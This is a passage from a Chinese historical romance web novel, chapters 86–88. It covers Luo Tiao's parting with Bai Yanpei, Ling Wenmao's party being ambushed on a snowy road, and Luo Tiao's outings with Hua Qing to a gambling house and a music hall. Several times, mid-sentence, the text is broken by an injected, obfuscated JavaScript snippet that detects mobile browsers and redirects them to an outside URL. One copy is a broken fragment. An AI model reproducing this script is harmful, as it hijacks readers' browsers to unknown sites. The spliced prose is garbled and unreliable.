“你去离间东刕内部,若被发现便无立锥之地。方才你还说你是谋臣,当尽谋臣之责,可以为东刕谋求更多切实的利,一面离间,一面为东刕谋利,难道你没发觉你的话前后矛盾?” 白言霈徐徐挺直腰背,眼波异常平静,看着眼前目光闪烁惊慌的人,唇边笑容绽开:“昭昭勿需担忧我在东刕的安危,且离间东刕才更有立锥之地。如今我已经得到加木的重用,但还需助他得到东刕大汗之位,离间他们内部相互厮杀,让加木借机平息内乱,那样便可以让加木在东刕立以威信,加木也曾平息过内乱,可那点威信不足以服众,故而需要一场更大的内乱来襄助他。” 他不过是个谋臣,手中并无半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234044|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权柄,更无一兵一卒,和她一样,都不过是借势而行。 骆苕微仰着脸,呼吸断断续续:“你……你想带我去东刕,必定相信加木可以夺位,并且有能力对付凌氏。” 他的最终目的不过是对付凌氏。 白言霈没有否认:“良禽择木而栖,良臣择主而事,我选择加木足以说明加木有此能力。”遂问,“讨伐圻国圆满之后,你可会随我离开?” 在这一刻骆苕坚定地摇头,一字一字道:“我选择凌氏。” 事情又回到最初的状态,各自为营。 白言霈不再说话,泠泠的目光落在她的脸庞,鼻翼两侧还附着着被泪水侵蚀过,没擦干净的斑驳,这张脸美得让他不忍去亵渎。 白言霈抬起双手重新擦拭,在她颤眼时温和地说:“昭昭的身家利益全在大嵘,我尊重昭昭的选择。再说,兵谋天下,怎会是你我三言两语便能决断定夺。” 擦完,垂下手臂又不舍的看了一会儿,从袖中翻出一支簪子轻轻地插入她的发髻:“过几日我便要离开大嵘,安葬祖父这件要事便有劳你了。” 骆苕还没来得及出声,听见白言霈犹如兄长般谆谆告诫,“凌文袤此人脾性乖张,又好大喜功,你当提防他,他不值得你托付真心。” “砚疏,会一直等你。” 他转身走时留下这一句。 从前的他总毫不在意地说,会等着她来娶他。 骆苕伫立在原地,直至申怡靠近方才惊醒,拔下发簪躺在掌心打量,入眼是一支由桃花玉琢磨而成的海棠花及笄簪,色泽鲜亮粉嫩,质地油润细腻,一眼就能看的出被人经常盘握。 及笄那年的变故,让她遗忘了曾向他要过的及笄礼物是海棠花簪子。 骆苕将簪子收拢在掌心,轻问申怡:“方才和砚疏的对话,你听见了多少?” 申怡如实道:“大约七成。” 大约七成,已经足够,不必自己再复述一遍,骆苕微微颔首,只说:“你将话转述给凌晖。我去歇息,让人不要扰我,这几日谁都不见。” 白言霈和凌晖还会周旋一番,他此次入京已经做好完全的准备。 申怡听命应下。 回到卧房的骆苕褪去氅衣,脱掉鞋履直接埋进了被褥,她懒得换洗懒得卸妆,虚虚实实的对话她也无力去揣摩辨析。 她太厌倦这种充斥着阴谋的气氛。 ** 京都城薄阳高照,千里之外的傕州边界农镇大雪纷飞,天地间被絮絮渺渺飞扬的大雪填满,四处横撞。 寒风唬咻唬咻推着一纵七人人马停滞在林边茅店前下马,拥进了茅店。 店内伙计早已听见踏马之声,客人推门的同时,连连哈腰:“郎官,你们是打尖还是住店?” “住店。” 赤眉回得中规中矩。 偏僻农镇,若遇有马之人,总要被旁人奉承一声郎官,赤眉都习惯了。 乔装过后的凌文袤胡乱掸落身上飞絮,往舍内闲置的榻上一坐,长腿就架往案几之上。 瞭了一眼一旁正在进食的食客几案,说:“一路闻着香味赶来,看来应该是来对了,让店家赶紧给我们上羊汤羊肉。” 86. 第八十六章 凌文袤和另外两位巡抚使大张旗鼓地出京,随后凌文袤便隐匿了行踪。 方才入茅店的七个人,除去一青各个人高马大,一眼就能瞧出平日里没少操练兵械,且有武职在身。 过店的客人不计其数,听见外头响动的女店家打开草帘往外一看。 明显是一伙趁天寒地冻寻个好去处觅食的当头府兵,女店家笑呵呵地赶紧迎上前,慧眼识珠的毛病便犯了,使劲推荐自家的好酒好菜,道他们这些郎官路途辛劳得好生补补。 凌文袤一副放浪又兴致盎然的样子,不仅将女店家推荐的酒菜全部应下,还捧得女店家心花怒放,盘着长腿最后夸了女店家一把:“店家,我看你人美嘴甜,难怪会把生意做得风生水起,真是令人佩服呐。” 女店家笑眯了眼,回得颇为不好意思:“这还不是因为你们这些郎官常常光顾,才让我这小店蓬荜生辉。”揣着手身子一晃,示意要走,“那,我去厨堂替郎官准备酒菜去。” 凌文袤没再胡扯:“赶紧些,饿得慌。”又唠叨一句,“劳烦店家,把我们的马照看好。” “郎官的马,不用郎官特地嘱咐,也保证照料得好好的。”女店家晃着腰身走了。 “郎官,看您威风凛凛,一副好身板,怎么着也是个将军啊。”一旁的食客瞧着凌文袤这伙人挺好说话,其中一人恭顺地问。 从凌文袤一行人踏入茅店起就已经凑过来的几双眼睛,不断在他们身上打量。将军遍地,常置的正牌将军就那么多,杂号将军却数不过来,食客想,瞎着眼奉承郎官为将军准不会出错。 凌文袤面带浅笑眼风一扫,赤眉得获指令对着食客一笑,面显得意:“小兄弟眼力真好,我们将军还真是将军。”什么名号的将军倒是没说,提壶倒热水不动声色地转过话头,“那小兄弟你们呢?瞧你们年纪轻轻容光焕发,一定也是小有成就。” 三位食客年纪相仿,估摸着十五六岁的模样,听见赤眉不端架子称呼他们为小兄弟,纷纷摆手难为情地说自己的身份微贱,亦无所成就。 一青倒是生趣,板着脸插了句暖场的话:“跟我一样。”同样身份微贱,一无所成。 一青竟也开始在意起这些,听得赤眉和凌文袤忍不住笑肩胛直打颤,赤眉出声宽慰道:“别急,日后定会带你上阵杀敌。” 瞧着言笑晏晏的一行人,其中一位食客说:“不瞒将军,我们仨刚从军户脱籍成为府兵,正高兴得紧,所以趁天下大雪休假不用操兵,来这喝上一杯暖酒,不成想就遇见了将军,托将军的福日后我们仨也会上阵杀敌立军功。” 军户世代传袭,父死子承,到如今军户身份地位已经低到不能再低,这次府兵制改制里便有彻底废除军户这一条。 府兵制兵农合一,平时务农,战时出征,不过需要自备兵械粮食,甚至马匹,但身份地位一跃而上,三位食客满面荣光就因脱了军户。 食客如此说,说明傕州边界的农镇政令实施的顺畅。 赤眉道了一声恭喜后问:“小兄弟可有妻室?” “还没有呢。”三位食客异口同声面露羞涩连连摇头,有人大胆着说,“我们等着官府许配妻室。” “为何?” 一青见机问。等着官府婚配,听着怎么如此怪异。 那人如实回道:“刚刚脱了军户,没银钱娶妻,想攒些银钱先买匹骏马,有了骏马上阵杀敌更容易立军功。” 真是个精打细算的小兄弟,官府许配妻室不必花钱,若有了马匹便是骑兵,骑兵和将军一样威风凛凛,不用做那靠两脚蹬的癞头兵。 赤眉笑了笑,夸赞:“小兄弟真有志气。” 凌文袤沉着眉,袖中的手指指腹,摩挲着手腕上麻绳绑缚着的吉铢,忽问:“可知你们折冲都尉的名讳?” 三位食客模模糊糊不太清楚,他们只知管辖他们的火长名讳,火长上面的队正和校尉的名讳,再上去的折冲都尉名讳让他们想了好大一会儿,最后相互仔细确认一番报了个名字给凌文袤。 “嗷,他呀。”凌文袤懒懒地说,“倒是听说过此人,不过并不相识。” 大嵘连年征战,男儿凋敝,女子多有赢剩,民部为士兵婚配妻室历来已久,刚才三位食客说等着官府婚配,就是说明已经过了男子十五成婚的年纪。 男儿娶妻还需如此热切的等,定是农镇民部疏忽怠职了,还有他们的上司并不怎么关心自己兵士的民生大事。 人口大计乃重中之重,还需盯紧些。 摩挲着吉铢的凌文袤,走神不知在想些什么。 正在此时,女店家备好的酒菜陆续上来,凌文袤让女店家给三位食客加菜,豪气地让账全部结算他头上。 茅店内的一众武人其乐融融,饮酒吃肉大快朵颐好不痛快。 酒过三巡,天色也越发沉重,人烟稀少的林边茅店食客散去,凌文袤一行人查看完马厩中的马匹后,移步到大雪中。 “可还有跟踪我们的人?”赤眉扫视四周问一青。 一青的侦察能力连赤眉都自愧不如,一行人刚踏入弧曲城便发现被人盯上了,同样发现异样的凌文袤问一青,一青一口作答,说最少有十人。 在弧曲城驿站整顿两日后启程,跟踪他们的人却一路尾随,以免打草惊蛇,一行人不动声响地继续前行,傕州郢弋的凌承佐等着他们汇合呢。 一青皱眉摇头道:“未曾发觉。” 大雪越下越猛,风也疾,呼啦啦就差将人掀翻过去,三仗开外已经瞧不见人。 几人重归茅店,各自歇息。 客房内的凌文袤合衣连马靴都未脱,双腿交叠挂在床沿,抱臂头枕软褥阖着眼。 案上清灯焰苗跳跃,房内冷清,窗外偶有几声并不清晰的犬吠入耳,凌文袤从胸前将青白素净绸帕抽出,扬了扬覆在脸面。 呼吸间轻薄如蝉翼的帕子微微颤颤,只怕呼吸重一些就会被吹落颊面。 这方帕子凌文袤一直揣带在身上,每夜入睡前必会拿出来瞧瞧。那日和骆苕一起在北市食用羊杂汤后,骆苕递给凌文袤擦拭,擦拭完凌文袤直接顺进了自己的鞶囊。 顺过来的东西,肯定是他的了。 躺了一会儿,胸腔一鼓将绸帕吹至半空,睁眼伸手当空捞了下来,起身踩着吱呀呀的楼板迈去窗边驻足片刻,又吱呀呀踩着楼板来回踱步几许。 须臾,转身吹灭清灯合衣入床睡觉。 第二日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281043|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雪便停了,积雪足足有一尺高,路并不好走。轮守一夜的一青和赤眉并未发现异常,一行人吃完早点继续赶路。 那伙跟踪的人消失的无影无踪。 马背上和凌文袤并排而行的赤眉裹着大袄,目光坚毅神情并不轻松:“郎主,前面的路得当心了。” 凌文袤只是淡淡“唔”了一声,和赤眉想到一块去了。郢弋是入京都最快最便捷的官道,跟踪他们的人若要猜准他们的路径,守在郢弋关口外必能将他们截住。 昨日有大雪掩护一路甩掉他们还算轻松。 如若行刺,只有十多人倒是不怕,只怕有更甚的,赤眉担心的就是在此。 凌文袤命随行的一人近前,小声嘱咐上几句,只见随从听命策马而去,剩余的六人改道走了偏路。 雪地绵绵软软,六人走走停停,磨磨蹭蹭的样子根本不似赶路。 半日也才走去六成路程,倒像是游山玩雪。 终于还是等来了异动,凌文袤眯起眼睛瞭望前方。 一青打马在前拦住去路,对着大前方一片幽森丛林神色肃然:“郎主,有人。”他已经确定捕捉到匪徒掩饰很好的身影。 还真不少。 赤眉手中的镞铤随即发出一阵尖锐的镝鸣之声,六人调转马首夹腹奔退而去。 林中伏击的一众伏手紧绷的弓箭还在射程之外,被鸣镝瞬间打乱布局,纷纷显出真身,领头的大骂一句脏话后暗道不妙。凌文袤这边,又是鸣镝又少了一人,反而是他们中计了。 “追!” 领头的当即发号施令,就算中计他也要先杀了凌氏狗贼。 林间翻涌出六十余人,纷纷寻马上马。 螳螂捕蝉黄雀在后,凌承佐清晰地辨出鸣镝的方向,同样一声令下,早已蓄势待发的轻骑冲了出去。 ** 腊八后的五日,京都城下了好大一场贵雪,骆苕从清雅苑回了东郊公主府。 听着沙沙落雪,手捏小火钳,拨着炉灰围炉烹茶炙烤柑橘,骆苕拨着拨着,手下一定,望着被她拨出来的大坑无故笑了一声。 重新拨回炉灰将大坑埋回去,顺手将摆在炉子边缘的柑橘挑起来一看,皱了皱眉,都糊得不成样了呢,又不紧不慢用小火钳将柑橘夹到一旁圆案的瓷碟里。 忽闻急切的脚步声由远至近,好像是平平。 骆苕全身一凝抬眼看去,只见平平入内禀报:“殿下,花将军花二娘求见,说……说让您亲自去门口接她。” 乍听骆苕先是一愣,片刻之后回过神,兀自切齿猛地提起袍摆疾步出去。骆苕原以为花凊会一直在岐城,翻过年来才能回来。 年前便能回来,预示没有杂事缠身了,算是一个惊喜。 府门前,骆苕停下脚还有些喘,久未见面的花凊还是一身劲装,脖子上围着一条比她脸还大的白狐围领,煞是可爱。 二人一对视,花凊在骆苕的斜眼中做了个礼,随后大步迈进来,不容分说,先将骆苕一把扛在了肩上,而后才说:“久违了,长公主殿下。” 骆苕抬起脑袋,脑袋一晃一晃,有一种莫名的熟悉感袭上心头。 凌文袤不着调起来是跟花凊很像的。 87. 第八十七章 骆苕扑散着头发,穿过头发间隙望向游廊之外,草木萧萧,盖地的厚雪起起伏伏,她眉眼一挑,说:“花二娘小将军,可否放我下来?”话音还未落定,眼眶里起起伏伏的景致瞬间转正,双脚着地。 花凊边摘围领,边很不满意地嘟囔:“将军就是将军,非得加个小字,长公主殿下就知道欺负您的伴侍。”自己明明是定南将军,加个小字她可不爱听。 骆苕立马赔笑作揖,郑重其事道:“还请定南将军花二娘多多担待,恕本宫嘴拙。” 被扶正后的花凊清浅一笑,说:“叫我定南将军,这才对嘛。” 自从皇太子骆奂病逝之后,做了两年骆苕伴侍的花凊,就被骆苕除去伴侍职位。之后花凊跟着父亲花景良攻打南峪得了个定南将军的勋号。 这个唯一拿的出手的勋号,花凊宝贝的很。 “外面冷,我们进去再叙。”骆苕含笑转向一旁吩咐平平,“去厨堂让庖娘多准备些拿手的。” 花凊看着骆苕还披散的头发一口阻拦:“这么好的天,今日我带殿下去热闹的地方热闹热闹,瞧殿下大门不出二门不迈,当心憋闷坏身子。一会儿说完话我们就走,骑马,殿下总还会骑吧?” 骆苕纤眉一压,故意说:“不会,忘光了。” 花凊知她故意,也分毫不让:“扛也得扛殿下过去。” 二人相视笑开。 骆苕脚步轻快,领着花凊重回火炉前,屏退所有人后往炉子内添好炭火,从钩挂在炉子上方的铜架上取下茶壶沏茶。 看向低头正在剥柑橘的花凊,只见花凊长叹一声直切正题,声色悻悻:“中州此次变动,我父亲被调去幽州竟一句怨言都没有,还吩咐我和兄长安生待在京中听候凌晖差遣,我也不知是福是祸哟。” 中州寺宇大乱又整顿寺宇是因骆苕而起,但还未达到骆苕想要的结果。在花凊未能被重用之前,骆苕不想透露半分,即便被重用也没有透露的必要。 骆苕思量着说:“我保你无祸。” 花凊手下一顿望过来:“殿下,可是知道些什么?” 骆苕摇头道:“你说你父亲没有一句怨言,我猜,应该是你父亲知道些什么却不愿对你说。”正正补上一句,“幽州那地方寻常人呆不长久。” 凌晖没有撤花景良的职,只是调去了幽州,一般贬罚一时失职之人才调去幽州,瞧着凌晖对花景良还有提携之意。 花凊也摇头,他的父亲虽然还有官职在身,并非戴罪流放,但要在幽州待几载谁又能知晓,涩笑:“我和兄长被一同提到京中,任何事都不必操心,倒先坐享清福了。”和那些游手好闲的公子哥一样,可以纸醉金迷。 骆苕沉默着不再出声,她也不知花景良会在幽州待多久,但花景良治事雷厉风行,凌晖似乎很受用。 花凊将剥好的柑橘整个递给骆苕:“现在来说说殿下你吧,往后有何打算?”凌氏风生水起,大嵘日薄西山已经没有转圜的余地。不过骆苕背靠慕容氏还有一众老臣,他凌氏总要顾念几分。 “跟你一样,坐享清福。”骆苕接过柑橘果瓤坦然打趣,“我手不能提肩不能扛,只会夏日乘凉冬日烤火,等凌氏登位,我和母后捡处深山老林一起诵经念佛。” 花凊望着炭火思索片刻:“不若殿下改个姓吧,我瞧着慕容氏就不错,反正这乱世道,赐姓改姓的比比皆是,慕容氏的火炉想必也不会太差,庇佑殿下和皇太后绰绰有余。就殿下这副皮相进了深山老林,恐怕深山老林都得颤三颤,避着你。” 花凊险些忘了还有皇太后慕容瑾,那便是两幅皮相,没有权势仰仗入深山老林,那是要命。 骆苕改姓归在慕容氏名下寻求庇佑,谁还能阻拦不成,从前的慕容烈有从龙之功,如今慕容烈的嫡子慕容霆彦,同样有从龙之功,凌氏还是要顾念几分。 慕容苕,听着也相当完美。 “往后再说罢。” 骆苕知道花凊在为她切实考虑,垂着头回得颇为揶揄。 花凊手肘支在膝盖,身体前倾,目光慢慢粘在骆苕脸上,动了动唇忍不住试探着问:“凌文袤和殿下的那些传言究竟是真是假?” 骆苕眼波浮动,镇定地说:“如你听到的那样。” “睡在一张床上啦!?” 花凊心脑一同炸开,她听到的可是凌文袤没日没夜宿在公主府,令长公主欲罢不能,那些流传的淫语哪能信,今日过来证实,直觉告诉她事实更为迸裂。 骆苕看着花凊一脸的震惊,笑意难掩点头没有否认。 花凊双眼一闭,眼尾挤出两朵花,深深吸气,手掌拍上大腿连连安慰自己那颗意难平的心:“无妨无妨,殿下定有自己的谋断。” 适才骆苕还说,等凌氏登位后,和皇太后慕容瑾捡处深山老林一起诵经念佛,那定是没把那个凌文袤放在眼里,关键花凊也没把凌文袤放在眼里。 电光火石之间,花凊已经可以接受骆苕逢场作戏,她捋了捋心绪,又问:“殿下允许他亲你的嘴了?” 骆苕颦蹙眉心,这是什么胡言乱语,于是默着点头,一张娇颜越发难抵窘色。 “完了!”花凊咯噔一下瞬间宕到谷底,再道一声,“完了。” 骆苕耳根子很红,但忍不住如常相问:“定南将军似乎知道一些男女相处的门道,可否说来给本宫听听?本宫怎么就完了?” 花凊实在难以接受,瞧样子骆苕是稀里糊涂地将自己交出去了,她摆手道:“我只是听的多,问的多才知道了一些门道。”眸光落在骆苕的雪腕上,脸颊微抽,“殿下一身的细皮嫩肉,是个男人见着了都得啃上一番,想必是没有一处好的了,身子亲了也便亲了,可是嘴和身子不一样,嘴代表你的心,怎么就稀里糊涂的让他亲你的嘴呢!” 怎么就交心了呢!唉,晦气。 骆苕哭笑不得,耳根子的红晕窜出来爬上脸颊,驳斥着问:“你的从哪里听说的这些颠三倒四的歪语?” “醉仙馆里的美人各个都这么说。” 花凊不假思索道。 骆苕笑靥凝滞在脸颊,眸色一定:“你去醉仙馆做什么?” 花凊后知漏了馅,不再掩饰:“去馆中美人那打探打探,关于凌文袤的那些风流传言可真属实。” “可属实?” 花凊只道:“复杂。”确实复杂,连嘴都不好意思说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296838|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 骆苕望着炉子沉了下来,没再继续问,知道花凊是拐弯抹角的提醒她。 花凊长叹一声,说:“往后殿下提防着点,别被男人一副讨好的模样蒙蔽住双眼交了心。”又道,“醉仙馆的美人说,男人这些怪物痴情起来也不要命,纵使女人万千,你若不从他,不仅能把你大卸八块,还能抱着你的尸块嚎上三天三夜,说永远爱你。” 这些倒不用醉仙馆的美人说,花凊打小在男人堆里混,怎不知男人是个什么德行,反复提及醉仙馆,只是为了提醒骆苕,凌文袤此人并非善类。 得当心。 玩玩可以,不能随意交心。 听到大卸八块,骆苕眼睫明显打颤,想到自己的父皇如何对待母后,又想到凌文袤那日说要将她剥皮剔骨,骸骨挂在他的腰间丁铃当啷,让骸骨看着他英姿勃发征战沙场。 “花凊,男人真可恶。”骆苕咽下口水,无缘无故玩笑道,“若不然我改了跟你姓,往后你护着我如何?” 花凊被逗得哈哈大笑,扶着额勉为其难地说:“也不是不行,殿下看我一身天赐神力,一副铁骨铮铮,不跟男人强饭碗攻伐天下,就护着殿下你一人,那得多省事。” 二人就那样笑着,笑着笑着又同时哑声沉默。 从前私底下骆苕偷偷打趣花凊日后必定会成为上柱国将军,花凊则吹捧骆苕日后必定会成为拯救万民的福星。 结果两个小女子只能围在火炉前议论这些不打紧的,花凊不敢提白言霈,骆苕不想提朝局。 默了半晌,花凊问:“殿下可有劲装?” 骆苕回:“有,不过得找找,从前的不知落在何处。” 当即骆苕招来申怡,翻箱倒柜将劲装翻找出来,看着劲装熨烫平整,挑了一袭月白祥云缘边袍服穿上身,腰封一紧马靴一蹬,整个人精神抖擞。 头发扎了一束马尾,长短和花凊的差不了多少,描眉上妆完毕。 “我们去哪?” 骆苕将斗篷一披,这才问。 “赌坊咯。”花凊笑说,“殿下银钱带足一些,免得输得将你押在了赌坊。” 骆苕眼波一划,说:“从未去过赌坊,今日我们玩大一些,不带银钱,咱们赊账,如何?” 花凊笑着附和:“卑职悉听尊便,不过赌坊可没赊账的规矩。” “去了再议,权当我不懂规矩,一回生二回熟,他们总不会将我们轰出来。” “行。”花凊板正地说,“殿下英明。” 公主府没有马,东刕马全在清雅苑。骆苕从玄雀卫那要来马匹,冒着大雪连幂篱都未戴,跟花凊二人前往城南外银易银赌坊。 后面跟着多少玄雀护卫,骆苕也懒得管了。 守在赌坊门口的几位小厮远远地看着一纵人马踏雪而来,见人来头不小,又向身后探了几眼大为惶恐,其中一位机灵小厮旋即对旁人说:“你们先候着,我去请东家出来。” 小厮脚底抹油,一溜烟钻进了赌坊。 余下的小厮也都是人精,只能挺起腰板迎人下马,纷纷行礼齐呼:“恭迎贵人。” 骆苕摘掉玫紫色地刺绣菱格纹手套,昂首挺胸径直入内。 88. 第八十八章 花凊的头比不懂赌坊规矩的骆苕昂得更高,双手一背神气地跟在身侧,身后的玄雀护卫却被小厮拦了下来。 “郎官请留步,赌坊规矩,着官服者不得入内,以免惊扰客人。” 眼尖的小厮横臂一挡拦住葛七,他早已看出葛七他们的身份,并非公差入赌坊办差,只是护着前面两位特殊身份的贵人。 一路护着跟来的玄雀护卫自然知道赌坊规矩,事先骆苕一句都没吩咐,直接来了银易银赌坊。 葛七望着二人的背影目光焦灼想叫住她们,一时不知道该如何称呼,吞下那句刚要出口的——长公主殿下等等卑职们。 赶紧吩咐小厮:“快去拿几套寻常衣袍给我们换上。” 骆苕听到了身后小厮阻拦声,只是装作没听见。 赌坊设有两重门,进入外围那扇小门时还是寂静如斯,当门役推开第二重大门,沸反盈天的嘈杂声和无处流窜的热浪,扑面而来。 骆苕不假思索,抬腿跨进去。 “贵人,请留步!” 赶来的东家拐出内廊留住正欲入赌坊的二人。 骆苕和花凊同时停脚,将跨进去的那条腿收回偏头望过去,只见一男一女疾步近前,女人语音袅袅生媚,娇笑着说:“贵人身份尊贵,当玩些别出心裁的,怎好入这杂厅,和那一众腌臜人物混在一起,折损了手气。” 骆苕又回头朝里望着满厅忙忙碌碌,呼天抢地的腌臜人物,和她想象中的赌坊场景完全重合,心生忻悦。 她就是想要输个痛快,要那手气做什么。 花凊看了一眼目不转睛朝里望的骆苕,对女东家说:“我们女郎君初来乍到不懂赌坊规则,能否借你们的观望阁一用,瞧瞧他们是如何玩的?” 女东家先是一惊,面上露出难为之色,出口却是坚定的拒绝:“我瞧着你这位女郎君倒是很懂我们银易银的布局呢,知道我们银易银设有观望阁,但观望阁禁止外人入内,从不外借。” 听见这话,骆苕复回望过去,视线对上女东家一旁挺直站立盯着她看的男子,骆苕行云流水地将男子从头到脚打量一遍,似乎这鹤形仙姿的男子比女东家更具威信。 再抬眼对视,轻轻挑起下巴,骆苕附和花凊淡淡下命:“借你们观望阁一用,熟悉规则。” 一声轻而淡的高傲命令。 女东家暗恼,正欲开口再次拒绝。 “啊妍。既然贵客自己别出心裁,那今日我们主随客便。”男子噙笑阻止啊妍再次推拒,说,“送贵客去观望阁。” 阿妍惊讶万分,扭头望向男子。 赌坊从未有过前例,什么达官显贵皇亲国戚,统统没有特权,今日二坊主见着美人,怎就直接破了例坏去规矩。 幸好阿妍知趣,知道二坊主言出必行,规规矩矩地带着二人去往观望阁。 观望阁设在二楼中廊,中间隔门,窗户开向东西两面,对东面简厅和西面繁厅的一切状况洞若观火。 骆苕不知,熟懂赌坊规矩的花凊为何提议来观望阁,花凊既然想来,那她岂有不来之理。 观望阁从未掌过灯,永远是阴沉沉的一片。啊妍引了她们入座,还贴心地命人送来了松子茶点供二人消享。 待阿妍退去,花凊问向骆苕:“这里是不是很热闹?殿下可知这赌坊是谁的资业?” 骆苕背靠高椅俯瞰简厅,热闹的气流充斥耳膜,厅内灯火如昼,将所有人的贪、嗔、痴、慢、疑淋漓尽致地呈现在脸面和四肢百骸。 “很热闹,眼睛顾不过来,一会儿我们玩骰子压大小,那个简单。不过让定南将军失望了,我也不知是谁的资业。”骆苕低低地回着,只知这样的赌坊逃不过权贵的仗掩。 花凊却清楚地说:“赫连萨朵。” 骆苕魂滞一瞬。 赫连萨朵,是凌文袤的母亲呢,再仔细想想,反倒不奇怪了,赫连萨朵本就是权贵,赌坊敛财最快,谁能拒绝来财快的门路。 她笑得颇为怠倦:“花二娘远在岐城,怎会对京中之事如此了解,反而要你来告知我这些。你不会还要告诉我醉仙馆也是赫连萨朵的资业吧,如若是,赫连萨朵给他儿子广开妓馆,那这母子二人的心思确实挺复杂。” 骆苕将赌坊和醉仙馆关联在一起,倒是花凊没想到的,花凊顺水推舟说:“我也只是偶尔的道听途说,知道银易银的一小点眉目,谁知道醉仙馆是否为他们的资业,即便是也不稀奇。” 花凊推开中间隔门,“今日来赌坊,是让殿下放松放松的,管他谁的母亲谁的儿,别扫殿下的兴就好。去那面看看。” 跨步往西面临窗俯瞰,渐渐花凊的眉头拧在一块,下颌线收紧,目光刹那间森寒凛凛,平日里的和善模样在此刻荡然无存。 骆苕起身只见花凊一动不动,移步过去双臂撑向窗沿,顺着花凊的视线向下瞭望。 原来是一伙东刕人在此豪赌,瞧着有些来头。 四位东刕人都是一手擎酒盏,一手揽美人,对着赌案大放厥词,伏在东刕人怀中的美人,衫子已经兜不住身子滑落腰腹。 二人凝望良久。 骆苕眨了眨眼,启唇轻轻说道:“终有一日,你们会让他们俯首称臣。” 花凊没听见骆苕在说什么,侧头望向骆苕舒缓面色:“殿下喃喃自语说什么呢?” “这面不够热闹,不好玩。”骆苕展笑说,“规则也瞧的差不多了,我要下去,去人多的那面玩。” “卑职悉听尊便。” 花凊应得毫不含糊。 骆苕忽问:“你为何执意来这观望阁?” “不过只是好奇顺了嘴,看看他们能否放行。”花凊道,“从前仗着殿下的势,在京都城狐假虎威惯了,日后也不知会被遣去哪个犄角旮旯,所以得及时行乐。” 骆苕没再说话。 二人下观望阁直奔东面简厅,葛七他们不知从哪露了头跟上来。 有骆苕此等颜色美人押注的那张赌案,里里外外围满看客,原本沸反盈天的厅内更加震耳欲聋。 起初押注的银钱也不知是谁给的,掷骰子的苛官暗中得了指令怎么可能让骆苕输,花凊跟着骆苕押注,骆苕押大花凊也便压大,骆苕押小花凊自然押小。 最后二人赚的钵满盆满,再去城中食肆、乐坊挥霍一空。 一连两日都是如此,第三日,赢疯了的二人怀揣银钱捡了一处乐坊清场,登上雅间听曲怡情。 扫人兴的葛七来禀,世子凌承佐和凌文袤已经一同归京。 听完葛七的禀报,骆苕僵着脸心悸一刹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337931|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多日没来平安信的凌文袤,直接等来的却是他归京的消息。 这好日子还没过几日呢,怎么就回来了,骆苕如常对葛七道了一句:“平安就好,下去吧。” 乐坊内曲乐悠扬入耳,临近年关的曲子欢快,总是那么应景,听着听着入耳的曲子开始断断续续,总要回神才能把曲子重新继上。 骆苕呡了一口茶对花凊道:“一会儿我要入宫见母后,今晚就宿在宫内。” 那座只余空壳的正阳宫如今只有慕容瑾和骆炎困在里面,骆苕又想她的母后了。 花凊瞭了一眼神色飘忽的骆苕,正欲说话,突然听到雅间外吵闹声骤起,轰然起身,疾步推开雅间的门,抻着脖子朝梯口大声问询:“何事如此喧哗?” 半晌未听见有人回应,撩着袍裾“蹬蹬蹬”下楼,骆苕也起了身,还未跨出雅间,已见花凊折返回来,说:“不打紧,都是些吃饱了撑着的勋贵之女,执意要入这乐坊和殿下一起同乐,葛七他们正拦着呢。” 骆苕意兴阑珊:“将她们放进来,独乐乐不如众乐乐,想必她们也钟爱这乐坊的琴娘,怎好让她们吃饱了无处消遣。” 这一放,瞬间乐坊宾客满盈,各色琴娘的曲子应接不暇。 站在二楼倚着漆栏的骆苕,俯瞰着中庭用半身高纱屏相隔的抚琴琴娘,一楼安坐的女郎们时不时往楼上投来探究的目光。 女郎们大多都是闻风而来,一睹失心疯未愈末路长公主的真容。 一曲曲音停歇,骆苕重新落座,女郎们此起彼伏的交谈声流入二楼雅间。 “听闻雁鸣山雁鸣居士昨日跳入炼丹炉,以身养炉羽化升天了。唉,真是可惜,往后我们的玉颜丹也将成为绝世臻品,无处可求。” 清晰听到女郎说话的骆苕浑然一震,有点怀疑自己的耳朵,起身撑着漆栏仔细听着女郎们的对话。 